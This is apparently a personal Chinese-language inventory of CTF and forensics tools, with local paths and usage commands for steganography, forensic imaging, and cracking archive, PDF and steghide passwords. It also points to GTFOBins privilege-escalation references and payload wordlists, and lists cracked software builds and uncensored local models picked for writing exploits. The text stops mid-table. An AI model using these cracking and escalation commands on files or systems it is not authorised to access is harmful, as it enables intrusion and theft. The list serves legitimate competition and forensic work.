| Stegsolve | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/Stegsolve WSL: /usr/local/bin/stegsolve.jar |
图片像素级分析:LSB 通道/分离/叠加 | java -jar stegsolve.jar → Analyse>Data Extract 逐通道试 Data Extract: Bit Order LSB First |
| steghide | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/steghide WSL: /usr/bin/steghide |
jpg/bmp/wav 密码隐写(DCT 频域) | steghide info img.jpg steghide extract -sf img.jpg -p <pass> -xf flag.txt 无密码试空密码 |
| zsteg | 🐧 WSL | WSL: /usr/local/bin/zsteg |
PNG/BMP LSB 全自动检测(ruby gem) | zsteg flag.png 逐条看 b1,rgb,lsb,xy 等 |
| outguess | 🐧 WSL | WSL: /usr/bin/outguess |
jpg 统计隐写(steghide 失败后试) | outguess -r img.jpg out.txt 有 key: outguess -k key -r img.jpg out.txt |
| stegseek | 🐧 WSL | WSL: /usr/bin/stegseek |
steghide 密码爆破(跑 rockyou 秒级) ⚠️已安装 Ubuntu 24.04 官方包 0.6;已用合成 JPEG + 合成字典验证提取成功。 | stegseek img.jpg /usr/share/wordlists/rockyou stegseek img.jpg words.txt recovered.txt |
| SNOW | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/SNOW |
文本尾随空格/Tab 隐写 | SNOW -C -p pass flag.txt |
| F5-steganography | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/F5-steganography-master.zip |
F5 JPG 隐写提取 ⚠️压缩包,用时先解压 | java Extract img.jpg -p pass |
| MP3Stego | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/MP3Stego_1_1_19 |
MP3 音频隐写 | MP3StegoDecrypt -P pass file.mp3 out.txt |
| SilentEye | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/silenteye-0.4.1-win32.exe |
图形化图片/音频隐写 | GUI 打开 decode |
| BlindWaterMark | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/BlindWaterMark |
频域盲水印提取(需要原图思路) | python bwm.py decode watermark.png beWatermarked.png out.png |
| 零宽字符隐写 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/零宽隐写src |
零宽字符 U+200B 等隐藏信息解码 | 把文本贴入解码页/脚本 |
| QR_Research | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/QR_Research |
二维码识别/修复(残缺二维码定位) | 导入图片识别;配合 PS 手补定位角 |
| Npiet | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Npiet.zip |
Piet 图形语言解释器 | npiet hello.png |
| tweakpng | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/tweakpng-1.4.6 |
PNG chunk 编辑器(改 IDAT/删 CRC 报错块/宽高) | 打开 png 右键编辑 chunk;CRC 错误提示即线索 |
| 图片异或/图像恢复 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/图片异或 |
像素异或/畸形图像修复脚本集(Deformed-Image-Restorer-main 在同级目录) | 按 README 跑脚本 |
| 随波逐流 CTF编码工具 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流CTF编码工具 |
国产 CTF 杂项全能 GUI(中文圈最常用):编码解码、图片/音频/流量/文档隐写、二维码、文件头修复、编码对照。V8.0.0 是 2026-10-20 新版 ⚠️V8.0.0 Release 20261020(185MB,比 V7.4 的 92MB 翻倍);旧版 V7.4 与 Beta 目录已于 2026-10-27 删除(省 92MB+)。同目录有使用手册 PDF(1.66MB)和 软件测试用文件/ 一批样题素材(F5、LSB、jsteg、mp3stego、npiet、pcap、DTMF 等)。 | 启动:D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流CTF编码工具/[随波逐流]CTF编码工具_V8.0.0_Release_20261020.exe 未知编码/密文:整段粘进去,逐个功能区试解(Base64/摩斯/培根/栅栏/凯撒/AAEncode/JJEncode/JSFuck 全在) 图片题:图片功能区走 LSB/F5/jsteg/盲水印/缩略图/EXIF/图片合成 音频题:音频功能区走 MP3Stego/DTMF/频谱;流量题走 pcap 区 功能不确定就先开《随波逐流CTF编码工具使用手册.pdf》查目录 |
| Audacity | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Audacity |
音频波形/频谱查看(摩斯/频谱隐写/倒放) | 切换频谱图看莫斯/文字图案;效果>反转倒放 |
| bftools | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/bftools |
Brainfuck 编解码 | bfdecode brainfuck.txt |
| qpdf | 🐧 WSL | WSL: /usr/bin/qpdf |
PDF 解密/结构修复 | qpdf --decrypt in.pdf out.pdf qpdf --show-object=trailer in.pdf |
| mutool | 🐧 WSL | WSL: /usr/bin/mutool |
MuPDF 工具:提取/转换 PDF 内容 | mutool draw -F txt in.pdf > out.txt mutool clean -d in.pdf |
| fcrackzip | 🐧 WSL | WSL: /usr/bin/fcrackzip |
zip 密码爆破(轻量快速) | fcrackzip -b -c aA1! -l 1-8 -u flag.zip 字典: fcrackzip -D -p rockyou -u flag.zip |
| ARPR 压缩包破解 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Advanced Archive Password Recovery 带激活码 |
图形化 zip/rar 密码恢复(带 GPU) | 选字典/掩码爆破 |
| bkcrack | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/bkcrack-1.7.1-win64 |
zip 明文攻击(已知部分明文恢复全密码) | bkcrack -C flag.zip -c known.txt -p known_plain.txt |
| ZipCenOp | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/ZipCenOp.jar |
zip 伪加密一键修复 | java -jar ZipCenOp.jar r flag.zip |
| PasswareKit Forensic | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/PasswareKitForensic_2022汉化破解版 |
全类型文件口令恢复套件 | 选文件类型→字典/GPU 选择案件文件→选择攻击方式→恢复到工作副本 |
| PDF批量解密 | ❌ 未装 | — | PDF 口令移除 ⚠️2026-09-19 目录审计未找到,已移除;用 WSL 的 qpdf –decrypt 替代 | 拖入 PDF |
| MidiEditor | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/MidiEditor-3.3.0-Setup.exe |
MIDI 音轨编辑查看(音符/力度/通道隐写) | 打开 .mid 逐轨看音符排布规律 |
| RXSSTV | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Setup_RXSSTV.exe |
SSTV 慢扫描电视音频解码成图片 | 播放音频给 RX 模式自动出图(Robot36/Martin1 常见) |
| 海龟画图 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/海龟画图 |
Logo 海龟语言解释器(logo 指令画出 flag 图) | 粘贴 logo 代码运行看绘图 |
| 速查资源图集 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool |
摩斯密码表.png / 010editor文件头汇总.jpg / 二维码定位点.png / 各厂商网络通讯协议图.png 散在 CTFTool 根目录,解题直接对照 ⚠️CTFTool 根目录已确认包含摩斯密码表、010 Editor 文件头、二维码定位点等图集。 | 看图对照;文件头修复配 010 Editor |
| 隐形水印工具 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/隐形水印工具.exe |
图片空域隐形水印加解(盲水印题常见配套);WaterMark.exe 是同类替代 | GUI 提取水印图层 |
| 随波逐流 OCR 识别工具 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流OCR识别工具 |
图片文字提取(截图题、验证码、图片藏字),V4.0 Release 20251006 ⚠️exe 文件名开头缺了方括号【随波逐流】→ 实际是 ‘随波逐流]OCR识别工具 V4.0Release 20251006.exe’,脚本里按文件名精确匹配会踩坑。备选:easyocr(本机 Python310 已装)。 | 启动:D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流OCR识别工具/随波逐流]OCR识别工具 V4.0Release 20251006.exe 图片题先肉眼看不清文字/被旋转倾斜:用它批量识别 首次运行若报缺 DLL,先装同目录 vcredist_x64.exe |
| 随波逐流 二维码识别工具 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流二维码识别工具 |
二维码识别/修复,V2.0 20250710;配套 测试二维码/ 样例 ⚠️同目录 qr_research.log 说明与 QR_Research 配合使用;测试二维码/ 有样本可先验证工具是否正常。 | 启动:D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流二维码识别工具/[随波逐流]二维码识别工具V2.0 20250710.exe 残缺/反色/旋转/局部遮挡的二维码先丢进去试识别 识别不出再上 QR_Research 做结构分析或手工拼接 |
| 224 种编码图 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流其他原创作品 |
224 种编码/字符集对照图谱(随波逐流原创),遇到不认识的花式字符编码按图索骥 ⚠️rar 需解压;是参考图谱不是可执行工具。 | 解压:D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流其他原创作品/[随波逐流]224种编码图 V2.0.rar Misc 拿到怪字符(颜文字/象形/点阵/符号表)先翻图对照,认出编码名再上工具解 认出后配 CyberChef 或 随波逐流CTF编码工具 直接解 |
| EBCTFCodeBox CTF编码盒 | 🪟 Win | Win: C:/Users/glj07/Desktop |
Henglie 出品的国产 CTF 编码/密码综合工具箱(Native Launcher 打包,61MB),覆盖 AES/RSA/MD5/URL/Hex/ROT 等常见编码加解密 + 图片与压缩包处理;与随波逐流编码工具互为补充 ⚠️exe 内嵌资源已加密,无法静态读取功能清单,VersionInfo 显示 FileVersion 0.1.8 而文件名为 v0.1.11;桌面另存【批量下载】EBCTFCodeBox-v0.1.11-官方版等.zip 原始包。 | 双击 EBCTFCodeBox-v0.1.11-官方版.exe(免安装,绿色) 常见编码/加密一把梭:界面按功能区分类,逐个试解 随波逐流解不出的编码变体,换它再试一轮 |
| ffmpeg 视频/音频处理 | 🐧 WSL | WSL: /usr/bin/ffmpeg |
音视频万能转换:Misc 视频题抽帧、逐帧 LSB/二维码、音频转格式喂 Audacity、计算时长/帧率定位隐藏信息 | 抽全部帧:ffmpeg -i in.mp4 -vsync 0 frames/f%05d.png 按秒抽帧:ffmpeg -i in.mp4 -vf fps=1 out%03d.png 指定时间段:ffmpeg -ss 00:01:20 -i in.mp4 -t 5 clip.mp4 音频转 wav 喂 Audacity/频谱:ffmpeg -i in.mp4 -vn -acodec pcm_s16le out.wav 看时长与帧数:ffprobe -v error -show_entries format=duration -of csv in.mp4 逐帧图像题套路:抽帧 → Stegsolve/zsteg 每帧 → 或帧间差分 |
| DCode 编码转换 | 🪟 Win | Win: D:/Forensic/ForensicTool/Others/DCode v5 |
编码转换合集(v5),ASCII/Unicode/Base 系列/进制/压缩等一把梭,取证与 Misc 都可用 | 打开后选编码类型输入文本即时转换 随波逐流/EBCTFCodeBox 都不认的冷门编码来这试 |
| CTFReBox(吾爱版) | 🪟 Win | Win: C:/Users/glj07/Desktop/CTFReBox |
Electron 打包的 CTF 综合工具盒(吾爱破解版),内含 T00Ls 子工具集 | 双击 CTFReBox.exe 启动 先看目录里《1.吾爱版说明(请先看我!!!).txt》 内嵌 ffmpeg.dll:视频/音频转换在工具盒内直接做 |
| CQR(二维码研究) | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/QR_Research |
QR_Research 套件的 CQR 组件:二维码结构分析、纠错级别判定、手工还原辅助 | 启动 CQR.exe 残缺/变形二维码先看结构(版本/纠错/掩码),再决定补哪块 与 随波逐流二维码识别工具 配合:它认不出时来这里做结构级修复 |
📚 字典与资源包
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| 字典库 Cryptodictionary | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/Cryptodictionary WSL: /usr/share/wordlists (软链) |
46 项统一字典库:rockyou、SecLists、中文用户名/密码、SSTI/JNDI/Webshell 专题、28GB 超大字典 7z | hashcat/john/ffuf 直接传具体文件路径 28GB 7z 按需解压勿常驻 |
| /opt/security-tools | 🐧 WSL | WSL: /opt/security-tools |
SecLists 完整版 + PayloadsAllTheThings(SSTI/反序列化等 Payload 库)+ theHarvester + sqlmap 源码 | find /opt/security-tools/SecLists -name '*.txt' 挑字典 查 Payload 直接 grep |
| 后台常用密码 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/后台常用密码.txt |
小而精的中文后台弱口令字典 | 后台登录爆破首选小字典 |
| GTFOBins 离线库 | 🐧 WSL | WSL: /opt/security-tools/GTFOBins |
Linux 提权/逃逸命令用法离线库(sudo/suid/capabilities/docker 等 2.6MB) ⚠️已确认 /opt/security-tools/GTFOBins/_gtfobins,约 2.6MB;只查离线资料,不自动执行其中命令。 | sudo -l 拿到可执行清单后逐个查: ls /opt/security-tools/GTFOBins/_gtfobins/ | grep <命令> grep -rl "sudo" /opt/security-tools/GTFOBins/_gtfobins | head(列出所有可 sudo 的命令) cat /opt/security-tools/GTFOBins/_gtfobins/vi/sudo.md 看具体逃逸用法 |
| CTFcrack | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/CTFtools |
Java 版 CTF 综合工具(jar),杂项/编码/加解密集合,跨平台需 JRE | java -jar CTFcrack.jar 界面按分类选功能 |
🧰 桌面辅助
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| 7-Zip / Bandizip / WinRAR | ✅ 双端 | Win: D:/CaptureTheFlag/CTFTool/7-Zip/7z.exe WSL: /usr/bin/7z |
压缩包处理(伪加密排查/多格式解压) ⚠️Windows 7z.exe 已确认;不在 Windows PATH 时用完整路径 D:/CaptureTheFlag/CTFTool/7-Zip/7z.exe。 | 7z l -slt flag.zip 看详细头信息 7z x file.7z |
| cmder | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/cmder |
Windows 便携终端(内置 ImageStrike 等工具) | cmder.exe |
| VMware | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/VMware |
虚拟机(跑靶机/内核题环境) | 加载比赛提供 OVA/VMX |
| frp | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/frp_0.39.0_windows_amd64.zip |
内网穿透(线上赛端口转发) | 按赛方 frpc.toml 启动 |
| Proxifier | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Proxifier_setup_v3.31.exe |
强制进程走代理 | 配 Burp/Clash 上游 |
| QtScrcpy / platform-tools | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/QtScrcpy-win-x64-v1.4.5 |
安卓投屏与 adb(Android 题配套) | adb devices → scrcpy 投屏 |
| Docker | 🪟 Win | Win: docker CLI 29.2.1 (docker-desktop 发行版) |
起靶场/漏洞环境镜像 | docker run -d -p 80:80 vulhub/xxx docker-desktop 平时停止状态,用时启动 |
| Notepad++ | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Notepad++ |
文本编辑(大文件/HEX 插件) | HEX-Editor 插件看二进制 |
| Netcat-win32 | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/Netcat-win32-1 |
Windows 原生 nc(不想进 WSL 时快速连靶机) | nc.exe <ip> <port> |
| 开赛预检 pre_flight | 🪟 Win | Win: C:/Users/glj07/.skills/ctf-toolbook/scripts/pre_flight.py |
比赛前一键环境体检+建赛事目录与 _contest-state.md(含 flag 格式),说「开赛预检」即跑 | python C:/Users/glj07/.skills/ctf-toolbook/scripts/pre_flight.py --contest 赛事名 --flag-format flag --duration 6 可选参数 --refresh-index 先刷新工具索引 |
| Qwen3.8-27B-UD (本地·比赛默认) | 🪟 Win | Win: C:/Users/glj07/.lmstudio/models/unsloth/Qwen3.8-27B-UD-Q4_K_XL/Qwen3.8-27B-UD-Q4_K_XL.gguf |
比赛默认本地模型。唯一带 mmproj 视觉投影,能直接读题目截图/流量截图/GUI界面/图片型证据;稠密 27B 指令遵循与输出格式比小激活 MoE 更稳,写 exp 提 flag 这类不能出岔子的场合更可靠;Q4_K_XL 量化质量三者最高。代价是比 MoE 慢,但比赛不缺时间 | LM Studio 载入该 GGUF(需同时载入 mmproj-Qwen3.8-27B-BF16.gguf 启用视觉)后 Start Server 断网比赛:OpenCode 里选 lmstudio/Qwen3.8-27B-UD-Q4_K_XL 读图片类证据时确认 vision 已启用 |
| Qwen3.6-35B-A3B (本地) | 🪟 Win | Win: C:/Users/glj07/.lmstudio/models/LuffyTheFox/Qwen3.6-35B-A3B-Uncensored-Genesis-Hermes-GGUF/Hermes3.6-35B-A3B-Uncensored-Genesis-MTP-APEX-Compact.gguf |
本地 MoE 35B 仅激活 3B,出 token 最快;纯文本大批量分析、长文档、日志流水首选,激活小所以长文本吞吐高。缺视觉投影,看不了图 | LM Studio 载入该 GGUF 后 Start Server 断网比赛:批量读日志/长文档时优先于默认模型 |
| GLM-4.7-Flash (本地) | 🪟 Win | Win: C:/Users/glj07/.lmstudio/models/DavidAU/GLM-4.7-Flash-Uncensored-Heretic-NEO-CODE-Imatrix-MAX-GGUF/GLM-4.7-Flash-Uncen-Hrt-NEO-CODE-MAX-imat-D_AU-Q4_K_S.gguf |
本地 GLM 系,NEO-CODE 强化;写代码、生成 exp、严格格式输出场景指令遵循更稳。缺视觉投影 | LM Studio 载入该 GGUF 后 Start Server 断网比赛:写脚本/生成 exp 时优先于默认模型 |
| 随波逐流 CTF Flags | 🪟 Win | Win: D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流Flags |
flag 提交/格式化辅助小工具,1.0.0(Windows exe + Android apk) ⚠️轻量辅助,非解题主力。 | 启动:D:/CaptureTheFlag/CTFTool/随波逐流原创软件/随波逐流Flags/[随波逐流]CTF Flags1.0.0.exe 整理多题 flag、统一格式、批量核对时用;比赛现场也可装 apk 到手机 |
| Python 3.10 解释器 | 🪟 Win | Win: C:/Users/glj07/AppData/Local/Programs/Python/Python310 |
Windows 侧 CTF 万能胶水:pwntools/pycryptodome/z3/gmpy2/sympy/scapy/unicorn 已装,pip 走清华源;反序列化、爆破脚本、协议交互全靠它 ⚠️PATH 里的 python 常被其他 venv 抢占(且无 pip),一律用全路径。binwalk 的 pip 包在本机会损坏,别装。 | 全路径调用(PATH 里默认 python 是别的 venv):C:/Users/glj07/AppData/Local/Programs/Python/Python310/python.exe xxx.py pickle 分析:python -c "import pickletools,sys;pickletools.dis(open('p.bin','rb').read())" PyYAML 探测:python -c "import yaml;print(yaml.load(open('a.yml'),Loader=yaml.Loader))" 装包:python.exe -m pip install <pkg> -i https://pypi.tuna.tsinghua.edu.cn/simple |
🧱 证据采集与镜像
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| X-Ways Forensics | ❌ 未装 | Win: D:/Forensic/ForensicTool/Mirror/X-Ways Forensics-顶级的综合磁盘取证平台,以速度快、资源占用低著称 |
专业磁盘/镜像取证平台:分区、文件系统、时间线、书签与报告 ⚠️商业许可,启动需授权文件;案件前先校验镜像哈希 | 打开案件→添加镜像→只读分析→书签/导出报告 |
| Autopsy | 🪟 Win | Win: D:/Forensic/ForensicTool/Mirror/Autopsy |
开源数字取证平台,适合镜像、文件系统、关键字和时间线综合分析 | 新建 Case→Add Data Source→Ingest Modules→查看结果 Ingest 后打开 Timeline→按来源/时间/关键字筛选 |
| Arsenal Image Mounter | 🪟 Win | Win: C:/Program Files/Arsenal Image Mounter |
将 E01/DD 只读挂载为 Windows 磁盘,供取证工具访问 | 启动:C:/Program Files/Arsenal Image Mounter/ArsenalImageMounter.exe File→Open Image→只读挂载 → 记录盘符与哈希 E01/VMDK/DD 都能挂;挂载后给 AXIOM/火眼/GoldenEyes 访问 |
| Mount Image Pro | 🪟 Win | Win: D:/Forensic/ForensicTool/Mirror/Mount Image Pro-镜像文件挂载工具 |
多格式磁盘镜像挂载 | 选择镜像→只读挂载→在 X-Ways/Autopsy 中分析 |
| Virtual Forensic Computing | 🪟 Win | Win: D:/Forensic/ForensicTool/HelperKit/Virtual Forensic Computing-证据仿真工具,可直接启动嫌疑人的磁盘镜像 |
在隔离虚拟机中启动镜像观察系统行为 | 复制证据镜像→隔离启动→记录行为与截图 |
| 火眼仿真取证 BootMagix V4 | 🪟 Win | Win: C:/Program Files/Honglian/BootMagixV4 |
红莲(Honglian)仿真取证系统 V4:把镜像/物理盘仿真启动成虚拟机,只读取证 | 启动:C:/Program Files/Honglian/BootMagixV4/BootMagixV4.exe 加载镜像 → 创建仿真环境 → 开机进系统看现场(全程只读,不污染证据) 先记录镜像哈希再仿真 |
| 火眼取证桌面 / 录像 | 🪟 Win | Win: C:/Program Files/Honglian/ForensicDesktop |
红莲取证工作台(HLForensicDesktop)+ 取证录像(ForensicRecorder)——现场取证过程留痕,符合证据链要求 | 工作台:C:/Program Files/Honglian/ForensicDesktop/HLForensicDesktop.exe 录像:C:/Program Files (x86)/Honglian/ForensicRecorder/ForensicRecorder.exe —— 操作前先开录,全程留痕 比赛交卷若要求证据链,录像文件一并归档 |
♻️ 恢复与解密
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| UFS Explorer | 🪟 Win | Win: D:/Forensic/ForensicTool/Mirror/UFS Explorer Professional Recovery-数据恢复和镜像挂载工具,支持复杂RAID重组 |
复杂文件系统、RAID 和镜像恢复 | 打开镜像→Scan/RAID 重组→恢复到另一块盘 |
| R-Studio/RDS | 🪟 Win | Win: D:/Forensic/ForensicTool/Decrypt/RDS_2024-likely 是 R-Studio 网络版,强大的数据恢复工具,也用于破解简单密码 |
删除文件、分区、RAID 与镜像数据恢复 | 选择源盘/镜像→Scan→预览→恢复到独立输出盘 |
| FinalData/Fatbeans | 🪟 Win | Win: D:/Forensic/ForensicTool/FileDataRecovery/Fatbeans-likely 是 FinalData,经典的数据恢复软件 |
文件删除恢复和签名扫描 | 选择镜像→扫描已删除文件→导出到工作副本 |
| PuzzleSolver | 🪟 Win | Win: D:/Forensic/ForensicTool/FileDataRecovery/PuzzleSolver-main |
特定文件/密码恢复辅助工具集合 | 先阅读 README,再对副本执行恢复 |
| Elcomsoft Forensic Disk Decryptor | 🪟 Win | Win: D:/Forensic/ForensicTool/Decrypt/Elcomsoft.Forensic.Disk.Decryptor |
加密磁盘/容器取证辅助 | 导入密钥材料/镜像→只读解密分析 |
| Ciphey | 🪟 Win | Win: D:/Forensic/ForensicTool/Decrypt/Ciphey |
自动识别与解码常见编码/密码文本 | ciphey -t "密文" |
| PhotoRec / TestDisk | ❌ 未装 | — | 按文件头 carving 恢复被删/格式化分区里的文件;取证与 Misc 大文件(zip 删了、盘格了)主力,覆盖面比 foremost 更广(还能整盘恢复) ⚠️本机未装(wsl which photorec 无输出)。apt 源已配清华,sudo apt install testdisk 一条命令即可装,装上后本条目状态自动转 wsl。 |
安装(WSL):sudo apt install testdisk # 同时提供 photorec 与 testdisk 恢复文件:sudo photorec /dev/sdX(选分区 → FileOpt 只留目标类型 → 输出目录) 修复分区表:sudo testdisk /dev/sdX 只恢复某类:photorec 里 FileOpt 取消全选,只留 jpg/png/zip/pdf Windows 侧可先替代:R-Studio、Winhex、foremost(本机已装) |
🧠 内存取证
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| LovelyMem 内存取证 | 🪟 Win | Win: D:/Forensic/ForensicTool/Others/Lovelymem |
国产图形化内存取证工具(LovelymemLuxe 豪华版),Windows 侧跑 volatility 系流程,比命令行 volatility3 上手快 ⚠️桌面另有 LovelyMem-NewWorld 目录与 .zip,为另一版本/备份。 | 启动:D:/Forensic/ForensicTool/Others/Lovelymem/LovelymemLuxe/LovelymemLuxe.exe 导入 raw/vmem/mem 镜像 → 选 profile/系统版本 → 按功能区跑(进程/网络/注册表/文件) 与 volatility3 互补:图形快筛,命令行做深度定制 Windows 内存题先它、Linux 内存题用 volatility3 |
📡 网络流量取证
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| Fiddler Everywhere | 🪟 Win | Win: D:/Forensic/ForensicTool/Web/fiddler-everywhere-Web调试代理工具,捕获和分析HTTPHTTPS流量 |
HTTP/HTTPS 调试代理与请求重放 | 启动代理→导入会话→保存 HAR/请求证据 |
🗃️ 数据库取证
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| DB Browser for SQLite | 🪟 Win | Win: D:/Forensic/ForensicTool/Database/DB/DB Browser for SQLite.exe |
SQLite 数据库初筛、表浏览和 CSV 导出 | 打开副本→Browse Data→导出关键表 |
| DB Browser for SQLCipher | 🪟 Win | Win: D:/Forensic/ForensicTool/Database/DB/DB Browser for SQLCipher.exe |
加密 SQLite/SQLCipher 数据库查看 | 打开数据库→输入 key→导出查询结果 |
| HexHub | 🪟 Win | Win: D:/Forensic/ForensicTool/Database/HexHub |
数据库/十六进制相关本地分析工具 | 打开副本→按项目功能查看结构与字段 |
| NTFS Log Tracker | 🪟 Win | Win: D:/Forensic/ForensicTool/Database/NTFS Log Tracker-分析NTFS文件系统的日志($LogFile),追踪文件操作历史 |
NTFS $LogFile 操作记录和文件活动分析 | 导入 $LogFile→按时间/路径筛选→导出报告 |
| MySQL MCP 只读工具集 | 🪟 Win | Win: C:/Users/glj07/.mcp-toolbox/v1.12.0/run-mysql-toolbox.cmd |
Google MCP Toolbox v1.12.0 统一入口(非 Oracle/MySQL 官方):只读列出数据库/表/列结构与 EXPLAIN,七端共用 launcher ⚠️binary SHA256 c8d382ed597596f96aa015bf8ab5aaad557eb831d342813b8312fc582aa040f6 已核验;tools/list 与真实连库烟测通过;AionUI 待 UI 手动登记 | 工具:mysql_list_databases / mysql_list_tables / mysql_table_columns / mysql_explain_select launcher:cmd.exe /c C:/Users/glj07/.mcp-toolbox/v1.12.0/run-mysql-toolbox.cmd(已登记 ZCode/Codex/Claude/CodeBuddy/Trae/LM Studio) 凭据:只读账号 mcp_readonly,SELECT-only,密码仅在 .mcp-toolbox/v1.12.0/mysql.env |
📱 手机取证
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| Magnet AXIOM | 🪟 Win | Win: D:/Forensic/ForensicTool/Mobile/magnetaxiom.all.to.9.9.0.46675 |
综合电脑/手机/云取证分析平台,自动解析应用与时间线 | 创建 Case→添加镜像/备份→Process→Analyze→导出报告 |
| UFED | ❌ 未装 | Win: D:/Forensic/ForensicTool/Mobile/UFED-全球顶尖的手机物理取证工具,能破解锁屏、深度提取数据 |
手机物理提取与移动设备取证平台 ⚠️商业设备配套软件;无授权时用 iBackup Viewer 解 iTunes 备份替代 | 按设备型号选择 extraction profile→保存原始提取物→在分析工具中解析 |
| iBackup Viewer | 🪟 Win | Win: D:/Forensic/ForensicTool/Mobile/iBackup Viewer Pro-专门用于解析和查看苹果iTunes备份文件的内容 |
Apple iTunes 备份解析 | 打开备份→查看消息/照片/联系人→导出证据 |
| plist Editor Pro | 🪟 Win | Win: D:/Forensic/ForensicTool/Mobile/plist Editor Pro |
Apple plist 配置与取证字段查看 | 打开 plist 副本→查看键值/时间字段 |
| AndroidKiller | 🪟 Win | Win: D:/Forensic/ForensicTool/Mobile/AndroidKiller-master |
Android APK 反编译与资源分析 | 导入 APK→查看 Manifest/代码/资源→导出证据 |
| PH-PhoneForensics | 🪟 Win | Win: D:/Forensic/ForensicTool/pinghang/PH-PhoneForensics |
平航移动取证工具,手机数据提取/解析辅助 | 按设备/备份类型导入→生成案件报告 |
| Magnet AXIOM Process | 🪟 Win | Win: D:/Forensic/ForensicTool/Mobile/magnetaxiom.all.to.9.9.0.46675 |
商业手机取证套件 AXIOM 9.9:APK/应用数据、聊天记录、云数据解析,取证赛手机方向主力 ⚠️商业许可版本,需授权;APK 侧够用不必跑完整镜像流程。 | 启动:D:/Forensic/ForensicTool/Mobile/magnetaxiom.all.to.9.9.0.46675/base/AXIOM Process/AXIOMProcess.exe APK 题:新建案件 → 导入 APK/镜像 → 选 App 解析 产出报告:AXIOM Examine 查看,按时间线/聊天/位置过滤 |
| apk_analyzer | 🪟 Win | Win: D:/Forensic/ForensicTool/Mobile/apk_analyzer.windows |
APK 静态分析(清单/权限/组件/字符串),手机取证与 Android 逆向快速摸底 | 拖入 APK → 看 AndroidManifest 权限、Activity/Service、硬编码字符串 配合 jadx-gui 做代码级逆向 |
| 火眼 APP 智能分析 | 🪟 Win | Win: C:/Program Files/Honglian/APPAnalysis |
红莲手机应用智能分析:APK/应用数据的自动化解析与关联 | 启动:C:/Program Files/Honglian/APPAnalysis/APPAnalysis.exe 导入 APK 或应用数据目录 → 自动解析 |
🕒 时间线与主机活动
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| DCode | 🪟 Win | Win: D:/Forensic/ForensicTool/Others/DCode v5 |
Windows 时间戳、FILETIME、Unix 时间转换 | 输入十六进制/十进制时间戳→核对 UTC/本地时间 |
🖥️ 主机与系统取证
| 工具 | 状态 | 位置 | 用途 | 常用命令 |
|---|---|---|---|---|
| regipy | ❌ 未装 | WSL: pip install regipy |
Python 注册表解析库 ⚠️已装入 conda base(/root/miniconda3) | python3 -c "from regipy.registry import Registry" |
| python-evtx | ❌ 未装 | WSL: pip install python-evtx |
Windows EVTX 事件日志解析库 ⚠️已装入 conda base(/root/miniconda3),导入名是 Evtx 不是 evtx | pip install python-evtx python parse_evtx.py Security.evtx |
| FileLocator Pro | 🪟 Win | Win: D:/Forensic/ForensicTool/Database/FileLocator Pro-强大的文件内容搜索工具,可快速在全盘搜索关键词 |
案件目录内全文/正则/文件名搜索 | 限定证据目录→搜索关键字→导出命中路径 |
| 火眼证据分析 GoldenEyes V4 | 🪟 Win | Win: C:/Program Files/Honglian/GoldenEyesV4 |
红莲证据分析系统 V4:镜像/证据文件的浏览、搜索、时间线、报告导出 | 启动:C:/Program Files/Honglian/GoldenEyesV4/GoldenEyesV4.exe 导入镜像 → 按文件系统浏览 / 关键词搜索 / 时间线过滤 导出报告前核对哈希链 |
| 苍穹取证 AI 助手 | 🪟 Win | Win: C:/Program Files/Honglian/ForensicDesktop |
